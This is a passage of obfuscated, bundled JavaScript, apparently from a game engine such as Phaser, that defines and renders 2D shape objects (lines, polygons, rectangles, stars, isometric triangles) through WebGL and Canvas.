_0x5aefbf ? (_0x5d45c9['moveTo'](-_0x5e9674, -_0x3ec1d9), _0x5d45c9['lineTo'](0x0, _0x571f19), _0x5d45c9['lineTo'](0x0, _0x571f19 - _0x3ec1d9)) : (_0x5d45c9['moveTo'](-_0x5e9674, 0x0), _0x5d45c9['lineTo'](0x0, _0x571f19), _0x5d45c9['lineTo'](0x0, _0x571f19 - _0x3ec1d9)), _0x5d45c9['fill']()), _0x4c403c['showRight'] && (_0x4fdc3f(_0x5d45c9, _0x4c403c, _0x4c403c['fillRight']), _0x5d45c9['beginPath'](), _0x5aefbf ? (_0x5d45c9['moveTo'](_0x5e9674, -_0x3ec1d9), _0x5d45c9['lineTo'](0x0, _0x571f19), _0x5d45c9['lineTo'](0x0, _0x571f19 - _0x3ec1d9)) : (_0x5d45c9['moveTo'](_0x5e9674, 0x0), _0x5d45c9['lineTo'](0x0, _0x571f19), _0x5d45c9['lineTo'](0x0, _0x571f19 - _0x3ec1d9)), _0x5d45c9['fill']()), _0x5d45c9['restore'](); } }; }, 0xc28b: (_0x3bc662, _0x39141b, _0x4245c0) => { var _0x5999d7 = _0x4245c0(0x9a05), _0x207487 = _0x4245c0(0x4225); _0x5999d7['register']('isotriangle', function (_0x54eb4f, _0x122db4, _0x1c71a9, _0x1e0ce4, _0x498ea2, _0x3b82f6, _0x372727, _0x57040e) { return this['displayList']['add'](new _0x207487(this['scene'], _0x54eb4f, _0x122db4, _0x1c71a9, _0x1e0ce4, _0x498ea2, _0x3b82f6, _0x372727, _0x57040e)); }); }, 0xec91: (_0x40c746, _0x1cdb47, _0x200902) => { var _0x5447a1 = _0x200902(0x7433), _0x3d3d92 = _0x5447a1, _0x56f4a6 = _0x5447a1; _0x3d3d92 = _0x200902(0xc92f), _0x56f4a6 = _0x200902(0x136e6), _0x40c746['exports'] = { 'renderWebGL': _0x3d3d92, 'renderCanvas': _0x56f4a6 }; }, 0xc92f: (_0xb1feb7, _0x49ff7a, _0x433263) => { var _0x4cbfb6 = _0x433263(0x164a0), _0x4b786b = _0x433263(0x1139a); _0xb1feb7['exports'] = function (_0x22ff55, _0x50fb11, _0x4672ae, _0xf55552) { _0x4672ae['addToRenderList'](_0x50fb11); var _0x2a5ffa = _0x22ff55['pipelines']['set'](_0x50fb11['pipeline']), _0x380e59 = _0x4cbfb6(_0x50fb11, _0x4672ae, _0xf55552), _0x6eb93a = _0x2a5ffa['calcMatrix']['copyFrom'](_0x380e59['calc']), _0x14ea40 = _0x50fb11['width'], _0x2441c7 = _0x50fb11['height'], _0x1891ef = _0x14ea40 / 0x2, _0x45298f = _0x14ea40 / _0x50fb11['projection'], _0x5609b4 = _0x50fb11['isReversed'], _0x2a73ca = _0x4672ae['alpha'] * _0x50fb11['alpha']; if (_0x50fb11['isFilled']) { var _0x4427a4, _0x3ab4ef, _0x417cf7, _0x421762, _0x2a21ea, _0x2e280f, _0x540a3b; if (_0x22ff55['pipelines']['preBatch'](_0x50fb11), _0x50fb11['showTop'] && _0x5609b4) { _0x4427a4 = _0x4b786b['getTintAppendFloatAlpha'](_0x50fb11['fillTop'], _0x2a73ca), _0x3ab4ef = _0x6eb93a['getX'](-_0x1891ef, -_0x2441c7), _0x417cf7 = _0x6eb93a['getY'](-_0x1891ef, -_0x2441c7), _0x421762 = _0x6eb93a['getX'](0x0, -_0x45298f - _0x2441c7), _0x2a21ea = _0x6eb93a['getY'](0x0, -_0x45298f - _0x2441c7), _0x2e280f = _0x6eb93a['getX'](_0x1891ef, -_0x2441c7), _0x540a3b = _0x6eb93a['getY'](_0x1891ef, -_0x2441c7); var _0x435788 = _0x6eb93a['getX'](0x0, _0x45298f - _0x2441c7), _0x49cddf = _0x6eb93a['getY'](0x0, _0x45298f - _0x2441c7); _0x2a5ffa['batchQuad'](_0x50fb11, _0x3ab4ef, _0x417cf7, _0x421762, _0x2a21ea, _0x2e280f, _0x540a3b, _0x435788, _0x49cddf, 0x0, 0x0, 0x1, 0x1, _0x4427a4, _0x4427a4, _0x4427a4, _0x4427a4, 0x2); } _0x50fb11['showLeft'] && (_0x4427a4 = _0x4b786b['getTintAppendFloatAlpha'](_0x50fb11['fillLeft'], _0x2a73ca), _0x5609b4 ? (_0x3ab4ef = _0x6eb93a['getX'](-_0x1891ef, -_0x2441c7), _0x417cf7 = _0x6eb93a['getY'](-_0x1891ef, -_0x2441c7), _0x421762 = _0x6eb93a['getX'](0x0, _0x45298f), _0x2a21ea = _0x6eb93a['getY'](0x0, _0x45298f), _0x2e280f = _0x6eb93a['getX'](0x0, _0x45298f - _0x2441c7), _0x540a3b = _0x6eb93a['getY'](0x0, _0x45298f - _0x2441c7)) : (_0x3ab4ef = _0x6eb93a['getX'](-_0x1891ef, 0x0), _0x417cf7 = _0x6eb93a['getY'](-_0x1891ef, 0x0), _0x421762 = _0x6eb93a['getX'](0x0, _0x45298f), _0x2a21ea = _0x6eb93a['getY'](0x0, _0x45298f), _0x2e280f = _0x6eb93a['getX'](0x0, _0x45298f - _0x2441c7), _0x540a3b = _0x6eb93a['getY'](0x0, _0x45298f - _0x2441c7)), _0x2a5ffa['batchTri'](_0x50fb11, _0x3ab4ef, _0x417cf7, _0x421762, _0x2a21ea, _0x2e280f, _0x540a3b, 0x0, 0x0, 0x1, 0x1, _0x4427a4, _0x4427a4, _0x4427a4, 0x2)), _0x50fb11['showRight'] && (_0x4427a4 = _0x4b786b['getTintAppendFloatAlpha'](_0x50fb11['fillRight'], _0x2a73ca), _0x5609b4 ? (_0x3ab4ef = _0x6eb93a['getX'](_0x1891ef, -_0x2441c7), _0x417cf7 = _0x6eb93a['getY'](_0x1891ef, -_0x2441c7), _0x421762 = _0x6eb93a['getX'](0x0, _0x45298f), _0x2a21ea = _0x6eb93a['getY'](0x0, _0x45298f), _0x2e280f = _0x6eb93a['getX'](0x0, _0x45298f - _0x2441c7), _0x540a3b = _0x6eb93a['getY'](0x0, _0x45298f - _0x2441c7)) : (_0x3ab4ef = _0x6eb93a['getX'](_0x1891ef, 0x0), _0x417cf7 = _0x6eb93a['getY'](_0x1891ef, 0x0), _0x421762 = _0x6eb93a['getX'](0x0, _0x45298f), _0x2a21ea = _0x6eb93a['getY'](0x0, _0x45298f), _0x2e280f = _0x6eb93a['getX'](0x0, _0x45298f - _0x2441c7), _0x540a3b = _0x6eb93a['getY'](0x0, _0x45298f - _0x2441c7)), _0x2a5ffa['batchTri'](_0x50fb11, _0x3ab4ef, _0x417cf7, _0x421762, _0x2a21ea, _0x2e280f, _0x540a3b, 0x0, 0x0, 0x1, 0x1, _0x4427a4, _0x4427a4, _0x4427a4, 0x2)), _0x22ff55['pipelines']['postBatch'](_0x50fb11); } }; }, 0xe1f7: (_0x2878aa, _0xca2fbd, _0x425cb4) => { var _0x538028 = _0x425cb4(0x145db), _0x19b4ca = _0x425cb4(0x458b), _0x552472 = _0x425cb4(0x59f7), _0x1b5311 = _0x425cb4(0x8fd7), _0x577d17 = new _0x538028({ 'Extends': _0x19b4ca, 'Mixins': [_0x1b5311], 'initialize': function (_0x5a713e, _0x5c4330, _0x42602e, _0x43af78, _0x42110c, _0x3cef32, _0x2d6427, _0x5a958e, _0x228cbc) { void 0x0 === _0x5c4330 && (_0x5c4330 = 0x0), void 0x0 === _0x42602e && (_0x42602e = 0x0), void 0x0 === _0x43af78 && (_0x43af78 = 0x0), void 0x0 === _0x42110c && (_0x42110c = 0x0), void 0x0 === _0x3cef32 && (_0x3cef32 = 0x80), void 0x0 === _0x2d6427 && (_0x2d6427 = 0x0), _0x19b4ca['call'](this, _0x5a713e, 'Line', new _0x552472(_0x43af78, _0x42110c, _0x3cef32, _0x2d6427)); var _0x30fb03 = Math['max'](0x1, this['geom']['right'] - this['geom']['left']), _0xa4b331 = Math['max'](0x1, this['geom']['bottom'] - this['geom']['top']); this['lineWidth'] = 0x1, this['_startWidth'] = 0x1, this['_endWidth'] = 0x1, this['setPosition'](_0x5c4330, _0x42602e), this['setSize'](_0x30fb03, _0xa4b331), void 0x0 !== _0x5a958e && this['setStrokeStyle'](0x1, _0x5a958e, _0x228cbc), this['updateDisplayOrigin'](); }, 'setLineWidth': function (_0x54a7e6, _0x42f36b) { return void 0x0 === _0x42f36b && (_0x42f36b = _0x54a7e6), this['_startWidth'] = _0x54a7e6, this['_endWidth'] = _0x42f36b, this['lineWidth'] = _0x54a7e6, this; }, 'setTo': function (_0x23ac65, _0x4a1362, _0x50e73e, _0x45c5d1) { return this['geom']['setTo'](_0x23ac65, _0x4a1362, _0x50e73e, _0x45c5d1), this; } }); _0x2878aa['exports'] = _0x577d17; }, 0x4420: (_0x2cf33c, _0x2f47fb, _0x305687) => { var _0x435b0c = _0x305687(0x125a9), _0x5dc0fb = _0x305687(0x51be); _0x2cf33c['exports'] = function (_0x3903e1, _0x5af272, _0x5e298c, _0x367bda) { _0x5e298c['addToRenderList'](_0x5af272); var _0x139302 = _0x3903e1['currentContext']; if (_0x5dc0fb(_0x3903e1, _0x139302, _0x5af272, _0x5e298c, _0x367bda)) { var _0x53c8f0 = _0x5af272['_displayOriginX'], _0xf88374 = _0x5af272['_displayOriginY']; _0x5af272['isStroked'] && (_0x435b0c(_0x139302, _0x5af272), _0x139302['beginPath'](), _0x139302['moveTo'](_0x5af272['geom']['x1'] - _0x53c8f0, _0x5af272['geom']['y1'] - _0xf88374), _0x139302['lineTo'](_0x5af272['geom']['x2'] - _0x53c8f0, _0x5af272['geom']['y2'] - _0xf88374), _0x139302['stroke']()), _0x139302['restore'](); } }; }, 0x9b1: (_0x202d9c, _0x4c7e46, _0x5eb0b5) => { var _0x498b88 = _0x5eb0b5(0x9a05), _0x5b30c8 = _0x5eb0b5(0xe1f7); _0x498b88['register']('line', function (_0x32ce9d, _0x165265, _0x4de172, _0x24a3da, _0x2d4c91, _0x5537ad, _0x3a407e, _0x5de424) { return this['displayList']['add'](new _0x5b30c8(this['scene'], _0x32ce9d, _0x165265, _0x4de172, _0x24a3da, _0x2d4c91, _0x5537ad, _0x3a407e, _0x5de424)); }); }, 0x8fd7: (_0x226831, _0x902601, _0x25d076) => { var _0x1f2c42 = _0x25d076(0x7433), _0x3da502 = _0x1f2c42, _0x3a9fe2 = _0x1f2c42; _0x3da502 = _0x25d076(0x12e49), _0x3a9fe2 = _0x25d076(0x4420), _0x226831['exports'] = { 'renderWebGL': _0x3da502, 'renderCanvas': _0x3a9fe2 }; }, 0x12e49: (_0x1aeaed, _0x3b2d75, _0x2b11ce) => { var _0x216f17 = _0x2b11ce(0x164a0), _0x13be2e = _0x2b11ce(0x1139a); _0x1aeaed['exports'] = function (_0x47c436, _0x1a68b5, _0x3d05d9, _0x4ca97c) { _0x3d05d9['addToRenderList'](_0x1a68b5); var _0x572bec = _0x47c436['pipelines']['set'](_0x1a68b5['pipeline']), _0x41acef = _0x216f17(_0x1a68b5, _0x3d05d9, _0x4ca97c); _0x572bec['calcMatrix']['copyFrom'](_0x41acef['calc']); var _0x1b86e9 = _0x1a68b5['_displayOriginX'], _0x18cba9 = _0x1a68b5['_displayOriginY'], _0xadcbdd = _0x3d05d9['alpha'] * _0x1a68b5['alpha']; if (_0x47c436['pipelines']['preBatch'](_0x1a68b5), _0x1a68b5['isStroked']) { var _0xaaa5b = _0x572bec['strokeTint'], _0x456599 = _0x13be2e['getTintAppendFloatAlpha'](_0x1a68b5['strokeColor'], _0x1a68b5['strokeAlpha'] * _0xadcbdd); _0xaaa5b['TL'] = _0x456599, _0xaaa5b['TR'] = _0x456599, _0xaaa5b['BL'] = _0x456599, _0xaaa5b['BR'] = _0x456599, _0x572bec['batchLine'](_0x1a68b5['geom']['x1'] - _0x1b86e9, _0x1a68b5['geom']['y1'] - _0x18cba9, _0x1a68b5['geom']['x2'] - _0x1b86e9, _0x1a68b5['geom']['y2'] - _0x18cba9, _0x1a68b5['_startWidth'] / 0x2, _0x1a68b5['_endWidth'] / 0x2, 0x1, 0x0, !0x1, _0x41acef['sprite'], _0x41acef['camera']); } _0x47c436['pipelines']['postBatch'](_0x1a68b5); }; }, 0x6175: (_0x46a3d0, _0x27c146, _0x1c7406) => { var _0x623144 = _0x1c7406(0x160a1), _0x18f4fa = _0x1c7406(0x145db), _0x37a464 = _0x1c7406(0x1725b), _0x5b611e = _0x1c7406(0x3605), _0x3b3e63 = _0x1c7406(0x6475), _0x1ca100 = _0x1c7406(0x458b), _0x17880b = _0x1c7406(0x155d), _0x1f7f83 = new _0x18f4fa({ 'Extends': _0x1ca100, 'Mixins': [_0x623144], 'initialize': function (_0x531f56, _0xbdb08f, _0x3c33eb, _0x19842e, _0x150937, _0x406bc0) { void 0x0 === _0xbdb08f && (_0xbdb08f = 0x0), void 0x0 === _0x3c33eb && (_0x3c33eb = 0x0), _0x1ca100['call'](this, _0x531f56, 'Polygon', new _0x3b3e63(_0x19842e)); var _0x212328 = _0x5b611e(this['geom']); this['setPosition'](_0xbdb08f, _0x3c33eb), this['setSize'](_0x212328['width'], _0x212328['height']), void 0x0 !== _0x150937 && this['setFillStyle'](_0x150937, _0x406bc0), this['updateDisplayOrigin'](), this['updateData'](); }, 'smooth': function (_0x2dd49d) { void 0x0 === _0x2dd49d && (_0x2dd49d = 0x1); for (var _0x1dabe5 = 0x0; _0x1dabe5 < _0x2dd49d; _0x1dabe5++)_0x17880b(this['geom']); return this['updateData'](); }, 'setTo': function (_0x3a6431) { this['geom']['setTo'](_0x3a6431); var _0xed472d = _0x5b611e(this['geom']); return this['setSize'](_0xed472d['width'], _0xed472d['height']), this['updateDisplayOrigin'](), this['updateData'](); }, 'updateData': function () { for (var _0x2190a7 = [], _0x4bef95 = this['geom']['points'], _0x2d0ead = 0x0; _0x2d0ead < _0x4bef95['length']; _0x2d0ead++)_0x2190a7['push'](_0x4bef95[_0x2d0ead]['x'], _0x4bef95[_0x2d0ead]['y']); return _0x2190a7['push'](_0x4bef95[0x0]['x'], _0x4bef95[0x0]['y']), this['pathIndexes'] = _0x37a464(_0x2190a7), this['pathData'] = _0x2190a7, this; } }); _0x46a3d0['exports'] = _0x1f7f83; }, 0x9736: (_0x1e543f, _0x46804d, _0x208c90) => { var _0xc0beb4 = _0x208c90(0x101a8), _0x4decc6 = _0x208c90(0x125a9), _0x2d6c3a = _0x208c90(0x51be); _0x1e543f['exports'] = function (_0x11b22a, _0x28683d, _0x3ae09d, _0x339d3a) { _0x3ae09d['addToRenderList'](_0x28683d); var _0x335878 = _0x11b22a['currentContext']; if (_0x2d6c3a(_0x11b22a, _0x335878, _0x28683d, _0x3ae09d, _0x339d3a)) { var _0x24c628 = _0x28683d['_displayOriginX'], _0x4baa66 = _0x28683d['_displayOriginY'], _0x19231b = _0x28683d['pathData'], _0x48e252 = _0x19231b['length'] - 0x1, _0x131f37 = _0x19231b[0x0] - _0x24c628, _0xc411a1 = _0x19231b[0x1] - _0x4baa66; _0x335878['beginPath'](), _0x335878['moveTo'](_0x131f37, _0xc411a1), _0x28683d['closePath'] || (_0x48e252 -= 0x2); for (var _0x573982 = 0x2; _0x573982 < _0x48e252; _0x573982 += 0x2) { var _0x1ca914 = _0x19231b[_0x573982] - _0x24c628, _0x1ac5df = _0x19231b[_0x573982 + 0x1] - _0x4baa66; _0x335878['lineTo'](_0x1ca914, _0x1ac5df); } _0x28683d['closePath'] && _0x335878['closePath'](), _0x28683d['isFilled'] && (_0xc0beb4(_0x335878, _0x28683d), _0x335878['fill']()), _0x28683d['isStroked'] && (_0x4decc6(_0x335878, _0x28683d), _0x335878['stroke']()), _0x335878['restore'](); } }; }, 0xfd3b: (_0x4c3b73, _0x4e60e8, _0x3db8b0) => { var _0xfa8d49 = _0x3db8b0(0x9a05), _0x2ff875 = _0x3db8b0(0x6175); _0xfa8d49['register']('polygon', function (_0x547cdd, _0xca5357, _0x45965f, _0x32b1d4, _0x302f33) { return this['displayList']['add'](new _0x2ff875(this['scene'], _0x547cdd, _0xca5357, _0x45965f, _0x32b1d4, _0x302f33)); }); }, 0x160a1: (_0x2a1418, _0x4e97e1, _0x2bab55) => { var _0x270544 = _0x2bab55(0x7433), _0x46a16a = _0x270544, _0x16a13d = _0x270544; _0x46a16a = _0x2bab55(0x11fdf), _0x16a13d = _0x2bab55(0x9736), _0x2a1418['exports'] = { 'renderWebGL': _0x46a16a, 'renderCanvas': _0x16a13d }; }, 0x11fdf: (_0x358e77, _0x2384eb, _0x15881a) => { var _0x2c0c2c = _0x15881a(0x28c9), _0x35d688 = _0x15881a(0x164a0), _0x1e0f97 = _0x15881a(0x877a); _0x358e77['exports'] = function (_0x5004e7, _0x4dc5cc, _0xc2868f, _0x1ec9c1) { _0xc2868f['addToRenderList'](_0x4dc5cc); var _0x6dd5e4 = _0x5004e7['pipelines']['set'](_0x4dc5cc['pipeline']), _0x276b06 = _0x35d688(_0x4dc5cc, _0xc2868f, _0x1ec9c1), _0x3cb17c = _0x6dd5e4['calcMatrix']['copyFrom'](_0x276b06['calc']), _0x8cce6f = _0x4dc5cc['_displayOriginX'], _0x4b3d90 = _0x4dc5cc['_displayOriginY'], _0x581aec = _0xc2868f['alpha'] * _0x4dc5cc['alpha']; _0x5004e7['pipelines']['preBatch'](_0x4dc5cc), _0x4dc5cc['isFilled'] && _0x2c0c2c(_0x6dd5e4, _0x3cb17c, _0x4dc5cc, _0x581aec, _0x8cce6f, _0x4b3d90), _0x4dc5cc['isStroked'] && _0x1e0f97(_0x6dd5e4, _0x4dc5cc, _0x581aec, _0x8cce6f, _0x4b3d90), _0x5004e7['pipelines']['postBatch'](_0x4dc5cc); }; }, 0x12341: (_0x142ddd, _0x26c3de, _0x443500) => { var _0x2ea716 = _0x443500(0x145db), _0x73a6c2 = _0x443500(0x15721), _0x21e886 = _0x443500(0x458b), _0x43f948 = _0x443500(0x1756d), _0x13255d = new _0x2ea716({ 'Extends': _0x21e886, 'Mixins': [_0x43f948], 'initialize': function (_0x4c8e31, _0x3277b1, _0x1b0420, _0x1c51f9, _0x5dba6f, _0x56997a, _0x5692e9) { void 0x0 === _0x3277b1 && (_0x3277b1 = 0x0), void 0x0 === _0x1b0420 && (_0x1b0420 = 0x0), void 0x0 === _0x1c51f9 && (_0x1c51f9 = 0x80), void 0x0 === _0x5dba6f && (_0x5dba6f = 0x80), _0x21e886['call'](this, _0x4c8e31, 'Rectangle', new _0x73a6c2(0x0, 0x0, _0x1c51f9, _0x5dba6f)), this['setPosition'](_0x3277b1, _0x1b0420), this['setSize'](_0x1c51f9, _0x5dba6f), void 0x0 !== _0x56997a && this['setFillStyle'](_0x56997a, _0x5692e9), this['updateDisplayOrigin'](), this['updateData'](); }, 'setSize': function (_0x9a1ca0, _0x107ad3) { this['width'] = _0x9a1ca0, this['height'] = _0x107ad3, this['geom']['setSize'](_0x9a1ca0, _0x107ad3), this['updateData'](), this['updateDisplayOrigin'](); var _0x443ca3 = this['input']; return _0x443ca3 && !_0x443ca3['customHitArea'] && (_0x443ca3['hitArea']['width'] = _0x9a1ca0, _0x443ca3['hitArea']['height'] = _0x107ad3), this; }, 'updateData': function () { var _0x1079bd = [], _0x38ada1 = this['geom'], _0x492301 = this['_tempLine']; return _0x38ada1['getLineA'](_0x492301), _0x1079bd['push'](_0x492301['x1'], _0x492301['y1'], _0x492301['x2'], _0x492301['y2']), _0x38ada1['getLineB'](_0x492301), _0x1079bd['push'](_0x492301['x2'], _0x492301['y2']), _0x38ada1['getLineC'](_0x492301), _0x1079bd['push'](_0x492301['x2'], _0x492301['y2']), _0x38ada1['getLineD'](_0x492301), _0x1079bd['push'](_0x492301['x2'], _0x492301['y2']), this['pathData'] = _0x1079bd, this; } }); _0x142ddd['exports'] = _0x13255d; }, 0xbe2a: (_0x32fd0c, _0x35c7fc, _0x1c7158) => { var _0x2f9a4e = _0x1c7158(0x101a8), _0x402dd3 = _0x1c7158(0x125a9), _0x5c3971 = _0x1c7158(0x51be); _0x32fd0c['exports'] = function (_0x218e16, _0x2d6114, _0x20c213, _0x336907) { _0x20c213['addToRenderList'](_0x2d6114); var _0x280727 = _0x218e16['currentContext']; if (_0x5c3971(_0x218e16, _0x280727, _0x2d6114, _0x20c213, _0x336907)) { var _0x281f38 = _0x2d6114['_displayOriginX'], _0x3c32e5 = _0x2d6114['_displayOriginY']; _0x2d6114['isFilled'] && (_0x2f9a4e(_0x280727, _0x2d6114), _0x280727['fillRect'](-_0x281f38, -_0x3c32e5, _0x2d6114['width'], _0x2d6114['height'])), _0x2d6114['isStroked'] && (_0x402dd3(_0x280727, _0x2d6114), _0x280727['beginPath'](), _0x280727['rect'](-_0x281f38, -_0x3c32e5, _0x2d6114['width'], _0x2d6114['height']), _0x280727['stroke']()), _0x280727['restore'](); } }; }, 0x15797: (_0x1351cb, _0x4a5100, _0x54302c) => { var _0x1b7926 = _0x54302c(0x9a05), _0x1a9f34 = _0x54302c(0x12341); _0x1b7926['register']('rectangle', function (_0x1747d0, _0x2e093a, _0x2b1d35, _0x20eb49, _0x22d8e9, _0x1aace5) { return this['displayList']['add'](new _0x1a9f34(this['scene'], _0x1747d0, _0x2e093a, _0x2b1d35, _0x20eb49, _0x22d8e9, _0x1aace5)); }); }, 0x1756d: (_0x30c79a, _0x98b151, _0x178359) => { var _0x2e6442 = _0x178359(0x7433), _0x385af8 = _0x2e6442, _0x277f2b = _0x2e6442; _0x385af8 = _0x178359(0xcb5b), _0x277f2b = _0x178359(0xbe2a), _0x30c79a['exports'] = { 'renderWebGL': _0x385af8, 'renderCanvas': _0x277f2b }; }, 0xcb5b: (_0x4f02c4, _0xc9b68d, _0x307cdd) => { var _0x4ceebb = _0x307cdd(0x164a0), _0x29eb81 = _0x307cdd(0x877a), _0x160d56 = _0x307cdd(0x1139a); _0x4f02c4['exports'] = function (_0x51906f, _0x55bbcb, _0x51826b, _0x361007) { _0x51826b['addToRenderList'](_0x55bbcb); var _0x1107ad = _0x51906f['pipelines']['set'](_0x55bbcb['pipeline']), _0x2d1169 = _0x4ceebb(_0x55bbcb, _0x51826b, _0x361007); _0x1107ad['calcMatrix']['copyFrom'](_0x2d1169['calc']); var _0x5bd04c = _0x55bbcb['_displayOriginX'], _0x35204e = _0x55bbcb['_displayOriginY'], _0x4e331e = _0x51826b['alpha'] * _0x55bbcb['alpha']; if (_0x51906f['pipelines']['preBatch'](_0x55bbcb), _0x55bbcb['isFilled']) { var _0x20151d = _0x1107ad['fillTint'], _0x2b0868 = _0x160d56['getTintAppendFloatAlpha'](_0x55bbcb['fillColor'], _0x55bbcb['fillAlpha'] * _0x4e331e); _0x20151d['TL'] = _0x2b0868, _0x20151d['TR'] = _0x2b0868, _0x20151d['BL'] = _0x2b0868, _0x20151d['BR'] = _0x2b0868, _0x1107ad['batchFillRect'](-_0x5bd04c, -_0x35204e, _0x55bbcb['width'], _0x55bbcb['height']); } _0x55bbcb['isStroked'] && _0x29eb81(_0x1107ad, _0x55bbcb, _0x4e331e, _0x5bd04c, _0x35204e), _0x51906f['pipelines']['postBatch'](_0x55bbcb); }; }, 0xda67: (_0xa8d211, _0x441422, _0xdf2f97) => { var _0x1c8033 = _0xdf2f97(0x14047), _0x4773ad = _0xdf2f97(0x145db), _0x2d5482 = _0xdf2f97(0x1725b), _0x1ddbd7 = _0xdf2f97(0x458b), _0x5da13b = new _0x4773ad({ 'Extends': _0x1ddbd7, 'Mixins': [_0x1c8033], 'initialize': function (_0x2969f2, _0x5e3bd9, _0x202227, _0x58272f, _0x101225, _0x3c763b, _0x38df1f, _0x4a9d7c) { void 0x0 === _0x5e3bd9 && (_0x5e3bd9 = 0x0), void 0x0 === _0x202227 && (_0x202227 = 0x0), void 0x0 === _0x58272f && (_0x58272f = 0x5), void 0x0 === _0x101225 && (_0x101225 = 0x20), void 0x0 === _0x3c763b && (_0x3c763b = 0x40), _0x1ddbd7['call'](this, _0x2969f2, 'Star', null), this['_points'] = _0x58272f, this['_innerRadius'] = _0x101225, this['_outerRadius'] = _0x3c763b, this['setPosition'](_0x5e3bd9, _0x202227), this['setSize'](0x2 * _0x3c763b, 0x2 * _0x3c763b), void 0x0 !== _0x38df1f && this['setFillStyle'](_0x38df1f, _0x4a9d7c), this['updateDisplayOrigin'](), this['updateData'](); }, 'setPoints': function (_0x1de6d1) { return this['_points'] = _0x1de6d1, this['updateData'](); }, 'setInnerRadius': function (_0x13c978) { return this['_innerRadius'] = _0x13c978, this['updateData'](); }, 'setOuterRadius': function (_0x38c549) { return this['_outerRadius'] = _0x38c549, this['updateData'](); }, 'points': { 'get': function () { return this['_points']; }, 'set': function (_0x2b75a3) { this['_points'] = _0x2b75a3, this['updateData'](); } }, 'innerRadius': { 'get': function () { return this['_innerRadius']; }, 'set': function (_0x5774d5) { this['_innerRadius'] = _0x5774d5, this['updateData'](); } }, 'outerRadius': { 'get': function () { return this['_outerRadius']; }, 'set': function (_0x434001) { this['_outerRadius'] = _0x434001, this['updateData'](); } }, 'updateData': function () { var _0x249880 = [], _0x4b7b1c = this['_points'], _0x5ef80b = this['_innerRadius'], _0x1828dc = this['_outerRadius'], _0xf585f8 = Math['PI'] / 0x2 * 0x3, _0x49942e = Math['PI'] / _0x4b7b1c, _0x1db0b8 = _0x1828dc, _0x37af08 = _0x1828dc; _0x249880['push'](_0x1db0b8, _0x37af08 + -_0x1828dc); for (var _0x127881 = 0x0; _0x127881 < _0x4b7b1c; _0x127881++)_0x249880['push'](_0x1db0b8 + Math['cos'](_0xf585f8) * _0x1828dc, _0x37af08 + Math['sin'](_0xf585f8) * _0x1828dc), _0xf585f8 += _0x49942e, _0x249880['push'](_0x1db0b8 + Math['cos'](_0xf585f8) * _0x5ef80b, _0x37af08 + Math['sin'](_0xf585f8) * _0x5ef80b), _0xf585f8 += _0x49942e; return _0x249880['push'](_0x1db0b8, _0x37af08 + -_0x1828dc), this['pathIndexes'] = _0x2d5482(_0x249880), this['pathData'] = _0x249880, this; } }); _0xa8d211['exports'] = _0x5da13b; }, 0xfb10: (_0x113dd7, _0x6d516, _0x16f00a) => { var _0x861b7b = _0x16f00a(0x101a8), _0x1a0940 = _0x16f00a(0x125a9), _0x48d81c = _0x16f00a(0x51be); _0x113dd7['exports'] = function (_0x1f541c, _0x330df9, _0x4a8b30, _0x3d0115) { _0x4a8b30['addToRenderList'](_0x330df9); var _0x331587 = _0x1f541c['currentContext']; if (_0x48d81c(_0x1f541c, _0x331587, _0x330df9, _0x4a8b30, _0x3d0115)) { var _0x50b7a5 = _0x330df9['_displayOriginX'], _0x448fa8 = _0x330df9['_displayOriginY'], _0x3ae8e9 = _0x330df9['pathData'], _0x30921f = _0x3ae8e9['length'] - 0x1, _0x465e1e = _0x3ae8e9[0x0] - _0x50b7a5, _0x1b2ffc = _0x3ae8e9[0x1] - _0x448fa8; _0x331587['beginPath'](), _0x331587['moveTo'](_0x465e1e, _0x1b2ffc), _0x330df9['closePath'] || (_0x30921f -= 0x2); for (var _0xffa999 = 0x2; _0xffa999 < _0x30921f; _0xffa999 += 0x2) { var _0x248ce9 = _0x3ae8e9[_0xffa999] - _0x50b7a5, _0x2d9000 = _0x3ae8e9[_0xffa999 + 0x1] - _0x448fa8; _0x331587['lineTo'](_0x248ce9, _0x2d9000); } _0x331587['closePath'](), _0x330df9['isFilled'] && (_0x861b7b(_0x331587, _0x330df9), _0x331587['fill']()), _0x330df9['isStroked'] && (_0x1a0940(_0x331587, _0x330df9), _0x331587['stroke']()), _0x331587['restore'](); } }; }, 0x16e01: (_0x130912, _0x22c7fa, _0x5b133c) => { var _0x51cc08 = _0x5b133c(0xda67); _0x5b133c(0x9a05)['register']('star', function (_0x48091d, _0x183cd8, _0x2a83a0, _0x58b8e7, _0xff8367, _0x3eb47a, _0x18b2c8) { return this['displayList']['add'](new _0x51cc08(this['scene'], _0x48091d, _0x183cd8, _0x2a83a0, _0x58b8e7, _0xff8367, _0x3eb47a, _0x18b2c8)); }); }, 0x14047: (_0x210854, _0x52cdb1, _0x1b5fd7) => { var _0x3afe03 = _0x1b5fd7(0x7433), _0x374b0e = _0x3afe03, _0x57d707 = _0x3afe03; _0x374b0e = _0x1b5fd7(0xdeb9), _0x57d707 = _0x1b5fd7(0xfb10), _0x210854['exports'] = { 'renderWebGL': _0x374b0e, 'renderCanvas': _0x57d707 }; }, 0xdeb9: (_0x834e02, _0x41a0ac, _0x321606) => { var _0x42bb64 = _0x321606(0x28c9), _0x2cc5dc = _0x321606(0x164a0), _0x132fb5 = _0x321606(0x877a); _0x834e02['exports'] = function (_0xfbeccf, _0x2fcc15, _0xc07b3c, _0x165913) { _0xc07b3c['addToRenderList'](_0x2fcc15); var _0x1f4b00 = _0xfbeccf['pipelines']['set'](_0x2fcc15['pipeline']), _0xb1c6b3 = _0x2cc5dc(_0x2fcc15, _0xc07b3c, _0x165913), _0x16d843 = _0x1f4b00['calcMatrix']['copyFrom'](_0xb1c6b3['calc']), _0x2a0c93 = _0x2fcc15['_displayOriginX'], _0x1f97a2 = _0x2fcc15['_displayOriginY'], _0xa9fd5c = _0xc07b3c['alpha'] * _0x2fcc15['alpha']; _0xfbeccf['pipelines']['preBatch'](_0x2fcc15), _0x2fcc15['isFilled'] && _0x42bb64(_0x1f4b00, _0x16d843, _0x2fcc15, _0xa9fd5c, _0x2a0c93, _0x1f97a2), _0x2fcc15['isStroked'] && _0x132fb5(_0x1f4b00, _0x2fcc15, _0xa9fd5c, _0x2a0c93, _0x1f97a2), _0xfbeccf['pipelines']['postBatch'](_0x2fcc15); }; }, 0x9043: (_0x55a257, _0x4b2ac5, _0x41d7db) => { var _0x5cf084 = _0x41d7db(0x145db), _0x475ae9 = _0x41d7db(0x458b), _0x331810 = _0x41d7db(0x4063), _0xa74040 = _0x41d7db(0x177c3), _0x47361a = new _0x5cf084({ 'Extends': _0x475ae9, 'Mixins': [_0xa74040], 